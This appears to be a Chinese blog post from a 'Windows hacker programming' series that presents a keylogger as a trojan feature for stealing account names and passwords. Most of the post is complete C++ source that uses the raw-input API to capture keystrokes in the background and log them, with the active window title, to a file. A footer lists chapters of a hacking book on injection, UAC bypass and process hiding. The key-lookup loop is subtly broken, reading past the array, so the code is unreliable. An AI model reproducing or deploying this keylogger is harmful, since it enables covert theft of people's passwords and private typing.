windows黑客编程系列(十一):按键记录

功能技术模块

病毒木马的入侵并潜伏在用户计算机上总是有着某种目的,例如获取用户隐私的办公文件或是账号密码,或是控制肉鸡,或是进行加密磁盘文件然后进行勒索。

按键记录

顾名思义,即程序在后台记录下用户在计算机上使用的所有按键信息,信息包括哪个时刻在哪个窗口按下哪个按键。

可见,这个功能对于病毒木马来说意义非凡,病毒木马控制者可以根据按键记录分辨出哪些类似于账号,密码等关键数据,从而进行利用,盗取信息。

实现该功能一般有以下三种方式:

  • 利用全局键盘钩子,程序设置全局键盘钩子,从而捕获按键信息,进行记录。
  • 利用GetAsyncKeyState函数,该函数可以判断按键状态,根据是否为按下状态来判断用户是否进行了按键操作。
  • 利用原始输入模型,直接从输入设备上获取数据,从而记录按键信息。

下面我们使用第三种方法进行操作,该方法更加底层,也更为有效。

WINAPI


RegisterRawInputDevices

注册提供原始输入的设备

函数声明:

BOOL WINAPI RegisterRawInputDevices(
    _In_reads_(uiNumDevices) PCRAWINPUTDEVICE pRawInputDevices,
    _In_ UINT uiNumDevices,
    _In_ UINT cbSize);

参数说明:

  • pRawInputDevices:指向一组PCRAWINPUTDEVICE结构体,代表提供原始输入的设备。
  • uiNumDevices:PCRAWINPUTDEVICE结构的数量。
  • cbSize:指向PCRAWINPUTDEVICE结构的大小(以字节为单位)

返回值:

  • 成功执行返回TRUE;
  • 否则返回值为FALSE;

tagRAWINPUTDEVICE结构体

结构体定义:

typedef struct tagRAWINPUTDEVICE {
    USHORT usUsagePage; // Toplevel collection UsagePage
    USHORT usUsage;     // Toplevel collection Usage
    DWORD dwFlags;
    HWND hwndTarget;    // Target hwnd. NULL = follows keyboard focus
} RAWINPUTDEVICE, *PRAWINPUTDEVICE, *LPRAWINPUTDEVICE;

成员说明:

  • usUsagePage:指向原始输入设备的顶级集合使用的页面。
  • usUsage:指向原始输入设备的顶级集合的用法。
  • dwFlags:模式标志,指定如何解释由usUsagePage和usUsage提供的信息。默认值为0,默认情况下,只要具有窗口焦点,操作系统就会将具有顶级集合设备的原始输入发送到已注册的应用程序中。
  • hwndTarget:指向目标窗口的句柄,如果是NULL,则会遵循键盘焦点。

GetRawInputData

函数声明:

UINT WINAPI GetRawInputData(
    _In_ HRAWINPUT hRawInput,
    _In_ UINT uiCommand,
    _Out_writes_bytes_to_opt_(*pcbSize, return) LPVOID pData,
    _Inout_ PUINT pcbSize,
    _In_ UINT cbSizeHeader);

参数说明:

  • hRawInput:指向RAWINPUT结构体的句柄,来自WM_INPUT中的IParam
  • uiCommand:命令标志,可以是以下值之一:
    • RID_HEADER:从RAWINPUT结构获取头信息
    • RID_INPUT:从RAWINPUT获取原始数据
  • pData:指向来自RAWINPUT结构的数据指针,这取决于uiCommand的值,如果pData为NULL,则在pcbSize返回所需的缓冲区大小
  • pcbSize:指定pData数据的大小
  • cbSizeHeader:指定RAWINPUTHEADER结构的大小

返回值:

  • 如果pData为NULL,且函数执行成功,则返回值为0
  • 如果pData不为NULL且函数执行成功,则返回值为复制到pData中的字节数
  • 如果有错误,则返回值为-1

编码实现

// WindowsProject1.cpp : 定义应用程序的入口点。
//

#include "framework.h"
#include "WindowsProject1.h"
#include <windows.h>
#include <stdio.h>
#include <tchar.h>
#include <cstring>
#include <shlobj.h>
#include <tlhelp32.h>
#include <atlimage.h>
#define AddVKey(VK, VKName) { (VK), (VKName) }


BOOL Init_device(HWND hWnd)
{
	RAWINPUTDEVICE rawinputDevice = { 0 };
	rawinputDevice.usUsagePage = 0x01;
	rawinputDevice.usUsage = 0x06;
	rawinputDevice.dwFlags = RIDEV_INPUTSINK;
	rawinputDevice.hwndTarget = hWnd;
	BOOL bRet = RegisterRawInputDevices(&rawinputDevice, 1, sizeof(rawinputDevice));
	if (bRet == FALSE)
	{
		//printf("Register error!\n");
		return FALSE;
	}
	return TRUE;
}

struct VKeyInfo {
	USHORT VKey;
	LPCWSTR VKname;
};

static VKeyInfo vkis[] = {
		AddVKey(VK_LBUTTON, L"Left mouse button"),
		AddVKey(VK_RBUTTON, L"Right mouse button"),
		AddVKey(VK_CANCEL, L"Control-break processing"),
		AddVKey(0x04, L"Middle mouse button (three-button mouse)"),
		AddVKey(0x05, L"Windows 2000/XP: X1 mouse button"),
		AddVKey(0x06, L"Windows 2000/XP: X2 mouse button"),
		AddVKey(0x07, L"Undefined"),
		AddVKey(VK_BACK, L"BACKSPACE key"),
		AddVKey(VK_TAB, L"TAB key"),
		AddVKey(0x0A, L"Reserved"),
		AddVKey(0x0B, L"Reserved"),
		AddVKey(VK_CLEAR, L"CLEAR key"),
		AddVKey(VK_RETURN, L"ENTER key"),
		AddVKey(0x0E, L"Undefined"),
		AddVKey(0x0F, L"Undefined"),
		AddVKey(VK_SHIFT, L"SHIFT key"),
		AddVKey(VK_CONTROL, L"CTRL key"),
		AddVKey(VK_MENU, L"ALT key"),
		AddVKey(VK_PAUSE, L"PAUSE key"),
		AddVKey(VK_CAPITAL, L"CAPS LOCK key"),
		AddVKey(VK_KANA, L"Input Method Editor (IME) Kana mode"),
		AddVKey(VK_HANGUL, L"IME Hangul mode"),
		AddVKey(0x16, L"Undefined"),
		AddVKey(VK_JUNJA, L"IME Junja mode"),
		AddVKey(VK_FINAL, L"IME final mode"),
		AddVKey(VK_HANJA, L"IME Hanja mode"),
		AddVKey(VK_KANJI, L"IME Kanji mode"),
		AddVKey(0x1A, L"Undefined"),
		AddVKey(VK_ESCAPE, L"ESC key"),
		AddVKey(VK_CONVERT, L"IME convert"),
		AddVKey(VK_NONCONVERT, L"IME nonconvert"),
		AddVKey(VK_ACCEPT, L"IME accept"),
		AddVKey(VK_MODECHANGE, L"IME mode change request"),
		AddVKey(VK_SPACE, L"SPACEBAR"),
		AddVKey(VK_PRIOR, L"PAGE UP key"),
		AddVKey(VK_NEXT, L"PAGE DOWN key"),
		AddVKey(VK_END, L"END key"),
		AddVKey(VK_HOME, L"HOME key"),
		AddVKey(VK_LEFT, L"LEFT ARROW key"),
		AddVKey(VK_UP, L"UP ARROW key"),
		AddVKey(VK_RIGHT, L"RIGHT ARROW key"),
		AddVKey(VK_DOWN, L"DOWN ARROW key"),
		AddVKey(VK_SELECT, L"SELECT key"),
		AddVKey(VK_PRINT, L"PRINT key"),
		AddVKey(VK_EXECUTE, L"EXECUTE key"),
		AddVKey(VK_SNAPSHOT, L"PRINT SCREEN key"),
		AddVKey(VK_INSERT, L"INSERT key"),
		AddVKey(VK_DELETE, L"DEL key"),
		AddVKey(VK_HELP, L"HELP key"),
		AddVKey(0x30, L"0"),
		AddVKey(0x31, L"1"),
		AddVKey(0x32, L"2"),
		AddVKey(0x33, L"3"),
		AddVKey(0x34, L"4"),
		AddVKey(0x35, L"5"),
		AddVKey(0x36, L"6"),
		AddVKey(0x37, L"7"),
		AddVKey(0x38, L"8"),
		AddVKey(0x39, L"9"),
		AddVKey(0x3A, L"Undefined"),
		AddVKey(0x3B, L"Undefined"),
		AddVKey(0x3C, L"Undefined"),
		AddVKey(0x3D, L"Undefined"),
		AddVKey(0x3E, L"Undefined"),
		AddVKey(0x3F, L"Undefined"),
		AddVKey(0x40, L"Undefined"),
		AddVKey(0x41, L"A"),
		AddVKey(0x42, L"B"),
		AddVKey(0x43, L"C"),
		AddVKey(0x44, L"D"),
		AddVKey(0x45, L"E"),
		AddVKey(0x46, L"F"),
		AddVKey(0x47, L"G"),
		AddVKey(0x48, L"H"),
		AddVKey(0x49, L"I"),
		AddVKey(0x4A, L"J"),
		AddVKey(0x4B, L"K"),
		AddVKey(0x4C, L"L"),
		AddVKey(0x4D, L"M"),
		AddVKey(0x4E, L"N"),
		AddVKey(0x4F, L"O"),
		AddVKey(0x50, L"P"),
		AddVKey(0x51, L"Q"),
		AddVKey(0x52, L"R"),
		AddVKey(0x53, L"S"),
		AddVKey(0x54, L"T"),
		AddVKey(0x55, L"U"),
		AddVKey(0x56, L"V"),
		AddVKey(0x57, L"W"),
		AddVKey(0x58, L"X"),
		AddVKey(0x59, L"Y"),
		AddVKey(0x5A, L"Z"),

		AddVKey(VK_LWIN, L"Left Windows key (Microsoft Natural keyboard)"),
		AddVKey(VK_RWIN, L"Right Windows key (Natural keyboard)"),
		AddVKey(VK_APPS, L"Applications key (Natural keyboard)"),
		AddVKey(0x5E, L"Reserved"),
		AddVKey(VK_SLEEP, L"Computer Sleep key"),
		AddVKey(VK_NUMPAD0, L"Numeric keypad 0 key"),
		AddVKey(VK_NUMPAD1, L"Numeric keypad 1 key"),
		AddVKey(VK_NUMPAD2, L"Numeric keypad 2 key"),
		AddVKey(VK_NUMPAD3, L"Numeric keypad 3 key"),
		AddVKey(VK_NUMPAD4, L"Numeric keypad 4 key"),
		AddVKey(VK_NUMPAD5, L"Numeric keypad 5 key"),
		AddVKey(VK_NUMPAD6, L"Numeric keypad 6 key"),
		AddVKey(VK_NUMPAD7, L"Numeric keypad 7 key"),
		AddVKey(VK_NUMPAD8, L"Numeric keypad 8 key"),
		AddVKey(VK_NUMPAD9, L"Numeric keypad 9 key"),
		AddVKey(VK_MULTIPLY, L"Multiply key"),
		AddVKey(VK_ADD, L"Add key"),
		AddVKey(VK_SEPARATOR, L"Separator key"),
		AddVKey(VK_SUBTRACT, L"Subtract key"),
		AddVKey(VK_DECIMAL, L"Decimal key"),
		AddVKey(VK_DIVIDE, L"Divide key"),
		AddVKey(VK_F1, L"F1 key"),
		AddVKey(VK_F2, L"F2 key"),
		AddVKey(VK_F3, L"F3 key"),
		AddVKey(VK_F4, L"F4 key"),
		AddVKey(VK_F5, L"F5 key"),
		AddVKey(VK_F6, L"F6 key"),
		AddVKey(VK_F7, L"F7 key"),
		AddVKey(VK_F8, L"F8 key"),
		AddVKey(VK_F9, L"F9 key"),
		AddVKey(VK_F10, L"F10 key"),
		AddVKey(VK_F11, L"F11 key"),
		AddVKey(VK_F12, L"F12 key"),
		AddVKey(VK_F13, L"F13 key"),
		AddVKey(VK_F14, L"F14 key"),
		AddVKey(VK_F15, L"F15 key"),
		AddVKey(VK_F16, L"F16 key"),
		AddVKey(VK_F17, L"F17 key"),
		AddVKey(VK_F18, L"F18 key"),
		AddVKey(VK_F19, L"F19 key"),
		AddVKey(VK_F20, L"F20 key"),
		AddVKey(VK_F21, L"F21 key"),
		AddVKey(VK_F22, L"F22 key"),
		AddVKey(VK_F23, L"F23 key"),
		AddVKey(VK_F24, L"F24 key"),
		AddVKey(0x88, L"Unassigned"),
		AddVKey(0x89, L"Unassigned"),
		AddVKey(0x8A, L"Unassigned"),
		AddVKey(0x8B, L"Unassigned"),
		AddVKey(0x8C, L"Unassigned"),
		AddVKey(0x8D, L"Unassigned"),
		AddVKey(0x8E, L"Unassigned"),
		AddVKey(0x8F, L"Unassigned"),
		AddVKey(VK_NUMLOCK, L"NUM LOCK key"),
		AddVKey(VK_SCROLL, L"SCROLL LOCK key"),
		AddVKey(0x92, L"OEM specific"),
		AddVKey(0x93, L"OEM specific"),
		AddVKey(0x94, L"OEM specific"),
		AddVKey(0x95, L"OEM specific"),
		AddVKey(0x96, L"OEM specific"),
		AddVKey(0x97, L"Unassigned"),
		AddVKey(0x98, L"Unassigned"),
		AddVKey(0x99, L"Unassigned"),
		AddVKey(0x9A, L"Unassigned"),
		AddVKey(0x9B, L"Unassigned"),
		AddVKey(0x9C, L"Unassigned"),
		AddVKey(0x9D, L"Unassigned"),
		AddVKey(0x9E, L"Unassigned"),
		AddVKey(0x9F, L"Unassigned"),
		AddVKey(VK_LSHIFT, L"Left SHIFT key"),
		AddVKey(VK_RSHIFT, L"Right SHIFT key"),
		AddVKey(VK_LCONTROL, L"Left CONTROL key"),
		AddVKey(VK_RCONTROL, L"Right CONTROL key"),
		AddVKey(VK_LMENU, L"Left MENU key"),
		AddVKey(VK_RMENU, L"Right MENU key"),
		AddVKey(0xA6, L"Windows 2000/XP: Browser Back key"),
		AddVKey(0xA7, L"Windows 2000/XP: Browser Forward key"),
		AddVKey(0xA8, L"Windows 2000/XP: Browser Refresh key"),
		AddVKey(0xA9, L"Windows 2000/XP: Browser Stop key"),
		AddVKey(0xAA, L"Windows 2000/XP: Browser Search key"),
		AddVKey(0xAB, L"Windows 2000/XP: Browser Favorites key"),
		AddVKey(0xAC, L"Windows 2000/XP: Browser Start and Home key"),
		AddVKey(0xAD, L"Windows 2000/XP: Volume Mute key"),
		AddVKey(0xAE, L"Windows 2000/XP: Volume Down key"),
		AddVKey(0xAF, L"Windows 2000/XP: Volume Up key"),
		AddVKey(0xB0, L"Windows 2000/XP: Next Track key"),
		AddVKey(0xB1, L"Windows 2000/XP: Previous Track key"),
		AddVKey(0xB2, L"Windows 2000/XP: Stop Media key"),
		AddVKey(0xB3, L"Windows 2000/XP: Play/Pause Media key"),
		AddVKey(0xB4, L"Windows 2000/XP: Start Mail key"),
		AddVKey(0xB5, L"Windows 2000/XP: Select Media key"),
		AddVKey(0xB6, L"Windows 2000/XP: Start Application 1 key"),
		AddVKey(0xB7, L"Windows 2000/XP: Start Application 2 key"),
		AddVKey(0xB8, L"Reserved"),
		AddVKey(0xB9, L"Reserved"),
		AddVKey(VK_OEM_1, L"Used for miscellaneous characters; it can vary by keyboard."
						  L"Windows 2000/XP: For the US standard keyboard, the \';:\' key"),
		AddVKey(VK_OEM_PLUS, L"Windows 2000/XP: For any country/region, the \'+\' key"),
		AddVKey(VK_OEM_COMMA, L"Windows 2000/XP: For any country/region, the \',\' key"),
		AddVKey(VK_OEM_MINUS, L"Windows 2000/XP: For any country/region, the \'-\' key"),
		AddVKey(VK_OEM_PERIOD, L"Windows 2000/XP: For any country/region, the \'.\' key"),
		AddVKey(VK_OEM_2, L"Used for miscellaneous characters; it can vary by keyboard.L"
						  L"Windows 2000/XP: For the US standard keyboard, the \'/?\' key"),
		AddVKey(VK_OEM_3, L"Used for miscellaneous characters; it can vary by keyboard.L"
						  L"Windows 2000/XP: For the US standard keyboard, the \'`~\' key"),
		AddVKey(0xC1, L"Reserved"),
		AddVKey(0xC2, L"Reserved"),
		AddVKey(0xC3, L"Reserved"),
		AddVKey(0xC4, L"Reserved"),
		AddVKey(0xC5, L"Reserved"),
		AddVKey(0xC6, L"Reserved"),
		AddVKey(0xC7, L"Reserved"),
		AddVKey(0xC8, L"Reserved"),
		AddVKey(0xC9, L"Reserved"),
		AddVKey(0xCA, L"Reserved"),
		AddVKey(0xCB, L"Reserved"),
		AddVKey(0xCC, L"Reserved"),
		AddVKey(0xCD, L"Reserved"),
		AddVKey(0xCE, L"Reserved"),
		AddVKey(0xCF, L"Reserved"),
		AddVKey(0xD0, L"Reserved"),
		AddVKey(0xD1, L"Reserved"),
		AddVKey(0xD2, L"Reserved"),
		AddVKey(0xD3, L"Reserved"),
		AddVKey(0xD4, L"Reserved"),
		AddVKey(0xD5, L"Reserved"),
		AddVKey(0xD6, L"Reserved"),
		AddVKey(0xD7, L"Reserved"),
		AddVKey(0xD8, L"Unassigned"),
		AddVKey(0xD9, L"Unassigned"),
		AddVKey(0xDA, L"Unassigned"),
		AddVKey(VK_OEM_4, L"Used for miscellaneous characters; it can vary by keyboard."
						  L"Windows 2000/XP: For the US standard keyboard, the \'[{\' key"),
		AddVKey(VK_OEM_5, L"Used for miscellaneous characters; it can vary by keyboard.L"
						  L"Windows 2000/XP: For the US standard keyboard, the \'\\|\' key"),
		AddVKey(VK_OEM_6, L"Used for miscellaneous characters; it can vary by keyboard.L"
						  L"Windows 2000/XP: For the US standard keyboard, the \']}\' key"),
		AddVKey(VK_OEM_7, L"Used for miscellaneous characters; it can vary by keyboard.L"
						  L"Windows 2000/XP: For the US standard keyboard, the \'single-quote/double-quote\' key"),

		AddVKey(VK_OEM_8, L"Used for miscellaneous characters; it can vary by keyboard."),
		AddVKey(0xE0, L"Reserved"),
		AddVKey(0xE1, L"OEM specific"),
		AddVKey(VK_OEM_102, L"Windows 2000/XP: Either the angle bracket key or the backslash key on the RT 102-key keyboard"),
		AddVKey(0xE3, L"OEM specific"),
		AddVKey(0xE4, L"OEM specific"),
		AddVKey(VK_PROCESSKEY, L"Windows 95/98/Me, Windows NT 4.0, Windows 2000/XP: IME PROCESS key"),
		AddVKey(0xE6, L"OEM specific"),
		AddVKey(0xE7, L"Windows 2000/XP: Used to pass Unicode characters as if they were keystrokes. The VK_PACKET key is the low word of a 32-bit Virtual Key value used for non-keyboard input methods. For more information, see Remark in KEYBDINPUT, SendInput, WM_KEYDOWN, and WM_KEYUP"),
		AddVKey(0xE8, L"Unassigned"),
		AddVKey(0xE9, L"OEM specific"),
		AddVKey(0xEA, L"OEM specific"),
		AddVKey(0xEB, L"OEM specific"),
		AddVKey(0xEC, L"OEM specific"),
		AddVKey(0xED, L"OEM specific"),
		AddVKey(0xEF, L"OEM specific"),
		AddVKey(0xF0, L"OEM specific"),
		AddVKey(0xF1, L"OEM specific"),
		AddVKey(0xF2, L"OEM specific"),
		AddVKey(0xF3, L"OEM specific"),
		AddVKey(0xF4, L"OEM specific"),
		AddVKey(0xF5, L"OEM specific"),
		AddVKey(VK_ATTN, L"Attn key"),
		AddVKey(VK_CRSEL, L"CrSel key"),
		AddVKey(VK_EXSEL, L"ExSel key"),
		AddVKey(VK_EREOF, L"Erase EOF key"),
		AddVKey(VK_PLAY, L"Play key"),
		AddVKey(VK_ZOOM, L"Zoom key"),
		AddVKey(VK_NONAME, L"Reserved"),
		AddVKey(VK_PA1, L"PA1 key"),
		AddVKey(VK_OEM_CLEAR, L"Clear key"),
		AddVKey(0xFF, L"Unknown Virtual-Key Code")
};


LPCWSTR GetKeyName(USHORT VKey)
{
	int i;
	for (i = 0; i < sizeof(vkis); i++)
	{
		if (VKey == vkis[i].VKey)
			return vkis[i].VKname;
	}
	return vkis[--i].VKname;
}

void Save_key(USHORT usVKey)
{
	wchar_t szTitle[MAX_PATH] = { 0 };
	wchar_t szKey[MAX_PATH] = { 0 };
	wchar_t szText[MAX_PATH] = { 0 };
	FILE* fp = NULL;
	HWND hForegroudWnd = GetForegroundWindow();
	GetWindowText(hForegroudWnd, szTitle, 256);
	lstrcpy(szKey, GetKeyName(usVKey));
	wsprintf(szText, L"[%s] %s\r\n", szTitle, szKey);
	fopen_s(&fp, "keylog.txt", "a+");
	if (fp == NULL)
	{
		//printf("open file error!\n");
		return;
	}
	fwrite(szText, (1 + lstrlenW(szText)), 1, fp);
	fclose(fp);
}

BOOL GetData(LPARAM lParam)
{
	RAWINPUT rawinputdata = { 0 };
	UINT uiSize = sizeof(rawinputdata);
	GetRawInputData((HRAWINPUT)lParam, RID_INPUT, &rawinputdata, &uiSize, sizeof(RAWINPUTHEADER));
	if (rawinputdata.header.dwType == RIM_TYPEKEYBOARD)
	{
		if (rawinputdata.data.keyboard.Message == WM_KEYDOWN || rawinputdata.data.keyboard.Message == WM_SYSKEYDOWN)
		{
			Save_key(rawinputdata.data.keyboard.VKey);
		}
	}
	return TRUE;
}

BOOL CALLBACK ProgMainDlg(HWND hWnd, UINT uiMsg, WPARAM wParam, LPARAM lParam)
{
	if (WM_INITDIALOG == uiMsg)
	{
		Init_device(hWnd);
	}
	else if (WM_CLOSE == uiMsg)
	{
		EndDialog(hWnd, NULL);
	}
	else if (WM_INPUT == uiMsg)
	{
		GetData(lParam);
	}

	return FALSE;
}


int WINAPI WinMain(
	HINSTANCE hInstance,
	HINSTANCE hPrevinstance,
	LPSTR lpCmdLine,
	int nCmdShow)
{
	DialogBoxParam(hInstance, (LPCWSTR)101, NULL, (DLGPROC)ProgMainDlg, NULL);
	ExitProcess(NULL);
}
已标记关键词 清除标记
相关推荐
WINDOWS黑客编程技术详解》配套资源 第1篇 用户篇 第1章 开发环境 1.1 环境安装 1.2 工程项目设置 1.3 关于Debug模式和Release模式的小提示 第2章 基础技术 2.1 运行单一实例 2.2 DLL延时加载 2.3 资源释放 第3章 注入技术 3.1 全局钩子注入 3.2 远线程注入 3.3 突破SESSION 0隔离的远线程注入 3.4 APC注入 第4章 启动技术 4.1 创建进程API 4.2 突破SESSION 0隔离创建用户进程 4.3内存直接加载运行 第5章 自启动技术 5.1 注册表 5.2 快速启动目录 5.3 计划任务 5.4 系统服务 第6章 提权技术 6.1 进程访问令牌权限提升 6.2 Bypass UAC 第7章 隐藏技术 7.1 进程伪装 7.2傀儡进程 7.3 进程隐藏 7.4 DLL劫持 第8章 压缩技术 8.1 数据压缩API 8.2 ZLIB压缩库 第9章 加密技术 9.1 Windows自带的加密库 9.2 Crypto++密码库 第10章 传输技术 10.1 Socket通信 10.2 FTP通信 10.3 HTTP通信 10.4 HTTPS通信 第11章 功能技术 11.1 进程遍历 11.2 文件遍历 11.3 桌面截屏 11.4 按键记录 11.5 远程CMD 11.6 U盘监控 11.7 文件监控 11.8 自删除 第2篇 内核篇 第12章 开发环境 12.1 环境安装 12.2 驱动程序开发与调试 12.3 驱动无源码调试 12.4 32位和64位驱动开发 第13章 文件管理技术 13.1 文件管理之内核API 13.2 文件管理之IRP 13.3 文件管理之NTFS解析 第14章 注册表管理技术 14.1 注册表管理之内核API 14.2 注册表管理之HIVE文件解析 第15章 HOOK技术 15.1 SSDT Hook 15.2过滤驱动 第16章 监控技术 16.1 进程创建监控 16.2 模块加载监控 16.3 注册表监控 16.4 对象监控 16.5 Minifilter文件监控 16.6 WFP网络监控 第17章 反监控技术 17.1 反进程创建监控 17.2 反线程创建监控 17.3 反模块加载监控 17.4 反注册表监控 17.5 反对象监控 17.6 反Minifilter文件监控 第18章 功能技术 18.1 过PatchGuard的驱动隐藏 18.2 过PatchGuard的进程隐藏 18.3 TDI网络通信 18.4 强制结束进程 18.5 文件保护 18.6 文件强删 附录 函数一览表
中文名: 黑客反汇编揭秘:第二版 原名: Hacker Disassembling Uncovered 作者: (俄)Kris Kaspersky(克里斯.卡巴斯基)译者: 谭明金 版本: PDF+附属程序完整版 出版社: 电子工业出版社书号: 9787121106279发行时间: 2010年6月 地区: 大陆 语言: 简体中文 简介: 内容简介   很多人认为,黑客行为(hacking)是不道德的,而本书作者kris kaspersky认为,这有失公允。黑客行为其实是天性不安分的人的一种本能,此类人天生就爱破解谜题,并乐此不疲。他们与那些以牟利或伤害他人为目标的“黑客”们,根本就是两码事。所以,本书既不是一本破解代码的技术手册,也不是一本关于反黑客的防护手册,本书可以看做是一位喜欢刨根问底的自由主义者的学习笔记。你可以跟随他的脚步,考察intel编译器,洞悉商业程序的保护机制,学习使用反汇编器与调试器。在第二版中,添加了一些新内容,比如克服反调试技术、探查经过打包、加密、异化或者混淆的代码等。   如果你也和作者一样,想探究清楚那些商业软件浩瀚的代码中都有些什么,不妨读一读本书。 作者简介 作者:(俄罗斯)卡巴斯基 译者:谭明金 媒体推荐 作者Kris Kaspersky不仅是一位俄罗斯著名的技术专栏作家,更是了解和掌握黑客技术的安全技术专家,尤为难能可贵的是他非常愿意将自己所掌握的知识与大家分享。本书的第一版详细讲解了软件逆向分析的基本技巧,而第二版在常见的信息系统安全技术攻防方面,展现了丰富而实用的技术内容,并对当前的最新黑客技术进行了分析研究。本书虽然名为第二版,但它实际是一部结构完整、内容丰富、技术性更强、技术价值更高的新作。   ——春雪安全网站 站长 段钢 真正的黑客大都阅读反汇编代码如品美酒,但一直鲜见系统介绍反汇编的书籍,使得很多程序员和安全从业人员难以登上高峰,本书正好弥补了这一空缺,更可贵的是作者本身就是天才的黑客从业者,写入自己很多心得体会,使我阅读此书如品甘露,深有爱不释手之感。   ——知道创宇副总裁 杨冀龙 在本书的第一版中,作者花了大部分的篇幅讲解了C++的对象、函数、逻辑控制等各方面的反汇编代码表现方式,只留下不到三分之一的篇幅描述黑客攻防的工具和技巧,让读者感到意犹未尽。终于,第二版对这部分内容做了彻底的展开,横跨Windows和UNIX两大主流操作系统,全面介绍了多种调试工具,讨论了调试技术、破解技巧、可执行文件修改等黑客必用的核心方法。现在,读者可以领略到黑客破解技术的全貌了!   ——《Windows环境下32位汇编语言程序设计》作者 罗云彬 目录: 第一篇 黑客工具介绍 第1章 携黑客工具启程 2 1.1 调试器 2 1.2 反汇编器 6 1.3 反编译器 8 1.4 十六进制编辑器 10 1.5 解包器(unpacker) 12 1.6 转储器 13 1.7 资源编辑器 14 1.8 窥测器(spy) 14 1.9 监视器(monitor) 15 1.10 修正器 17 1.11 受保护光盘复制器 17 第2章 unix黑客工具 18 2.1 调试器 18 2.2 反汇编器 21 2.3 窥测器 22 2.4 十六进制编辑器 23 2.5 转储器 24 2.6 自动保护工具 24 .第3章 调试器与仿真器的仿真 25 3.1 仿真器概述 25 3.2 历史概况 25 3.2.1 仿真器的应用范围 27 3.2.2 硬件虚拟 31 3.3 流行的仿真器 32 3.3.1 dosbox 32 3.3.2 bochs 34 3.3.3 vmware 35 3.3.4 microsoft virtual pc 37 3.3.5 xen 39 3.3.6 最势均力敌的竞争对手 40 3.4 仿真器的选择 41 3.4.1 安全性 41 3.4.2 可扩展性 41 3.4.3 源代码是否可用 41 3.4.4 仿真的质量 42 3.4.5 内置调试器 43 3.4.6 如何在vmware下配置softice 45 第4章 汇编器入门 46 4.1 汇编语言方法论 47 4.2 基于c程序实例解释汇编概念 48 4.3 汇编插入语句 49 4.4 可用的汇编语言工具 50 4.5 汇编编译器的概况与比较 51 4.5.1 评判的基本标准 52 4.5.2 masm 54 4.5.3 tasm 56 4.5.4 fasm 57 4.5.5 nasm 58 4.5.6 yasm 59 4.5.7 结论 60 第二篇 基本黑客技术 第5章 走进黑客门 64 5.1 按密钥类型划分保护机制 67 5.2 保护机制的强度 68 5.3 商业化保护机制的缺点 70 5.4 定制保护机制的实现错误 70 5.4.1 非授权复制与序列号分发 70 5.4.2 试用期及其弱点 71 5.4.3 算法重建 74 5.4.4 磁盘与内存的修改 78 5.4.5 反反汇编器 78 5.4.6 反调试技术 79 5.4.7 反监听器 79 5.4.8 反转储器 79 5.4.9 弥补保护机制 80 5.5 容易导致严重后果的小错误 80 第6章 热身 83 6.1 创建保护机制,并尝试破解 83 6.2 走近反汇编器 85 6.2.1 批反汇编器与交互式反汇编器 86 6.2.2 使用批反汇编器 87 6.2.3 从exe到crk 90 6.3 实际的破解范例 101 6.3.1 抑制干扰屏的出现 102 6.3.2 强行注册 105 6.3.3 彻底破解或者驯服“about”对话框 108 6.4 总结 111 第7章 通晓应用程序调试技术 112 7.1 调试简介 112 7.2 配套使用反汇编器与调试器 113 7.3 api函数断点 115 7.4 消息断点 117 7.5 数据断点 118 7.6 展开堆栈 119 7.7 调试dll 121 7.8 总结 122 第8章 在unix与linux下的特殊调试技术 123 8.1 gdb的基础——ptrace 124 8.1.1 ptrace及其命令 126 8.1.2 gdb对多进程的支持 127 8.1.3 gdb简介 128 8.1.4 跟踪系统调用 131 8.2 用gdb调试二进制文件 133 8.2.1 准备进行文件调试 133 8.2.2 跟踪前的准备 138 第9章 linice内核调试基础 141 9.1 系统要求 142 9.2 编译与配置linice 143 9.3 引导系统与启动调试器 144 9.4 linice的基本使用原理 147 9.5 总结 151 第10章 高级调试专题 152 10.1 softice用做日志记录器 152 10.1.1 热身运动 153 10.1.2 更复杂的过滤器 156 10.1.3 softice的动画型跟踪 159 10.2 随机设置断点的技巧 160 10.2.1 单步跟踪的秘密 161 10.3 通过覆盖方法进行破解 169 10.3.1 总体思路 169 10.3.2 工具的选择 170 10.4 确定代码覆盖的算法 172 10.5 方法的选择 173 10.6 程序破解实例 174 10.7 总结 179 第三篇 高级反汇编技术 第11章 反汇编32位pe文件 182 11.1 pe文件结构不同实现形式的特性 182 11.2 pe文件的一般概念与要求 183 11.3 pe文件结构 184 11.4 pe文件的代码插入与删除技术 186 11.4.1 x码概念及其他约定 186 11.4.2 x码的目的与任务 187 11.4.3 对x码的要求 188 11.4.4 插入 189 11.5 总结 215 第12章 在linux与bsd中反汇编elf文件 216 12.1 所需要的工具 216 12.2 elf文件结构 217 12.3 在elf文件中插入外来码 219 12.3.1 通过合并来感染文件 220 12.3.2 通过扩展文件的最后分区来感染文件 222 12.3.3 通过压缩部分原始文件 12.3.3 而感染文件 224 12.3.4 通过扩展文件的代码分区而感染文件 228 12.3.5 通过下移代码分区而感染文件 231 12.3.6 通过创建定制分区而感染文件 233 12.3.7 通过在文件与头结构之间 12.3.7 插入代码而感染文件 233 12.3.8 在elf文件中插入代码的实验 234 12.4 反汇编linux版tiny-crackme程序 241 12.4.1 剖析tiny-crackme 241 12.5 总结 253 第13章 反汇编x86-64程序 254 13.1 简介 254 13.2 需要的工具 255 13.3 x86-64体系结构概述 258 13.4 切换到64位模式 260 13.5 x86-64平台上的“hello, world”程序 262 13.6 总结 267 第14章 反汇编与破解linux内核 268 14.1 反汇编linux内核 268 14.1.1 内核的外围话题 268 14.1.2 攻击内核 269 14.1.3 深入内核 271 14.1.4 错误所在的位置 275 14.2 内核攻击秘诀 276 14.2.1 修改linux徽标 276 第15章 高级补丁技术 281 15.1 联机补丁的秘密与诀窍 281 15.1.1 最简单的联机补丁器 282 15.1.2 大比拼 284 15.1.3 截取传递信号的api函数 285 15.1.4 硬件断点 287 15.2 几种鲜为人知的破解客户程序的方法 289 15.2.1 破解客户应用程序的方法概述 289 15.2.2 在不编辑字节的情况下进行修改 289 15.3 windows nt/2000/xp内核黑码事宜 296 15.3.1 内核结构 296 15.3.2 内核类型 298 15.3.3 修改内核的方法 300
©️2020 CSDN 皮肤主题: 博客之星2020 设计师:CY__ 返回首页
实付 39.90元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值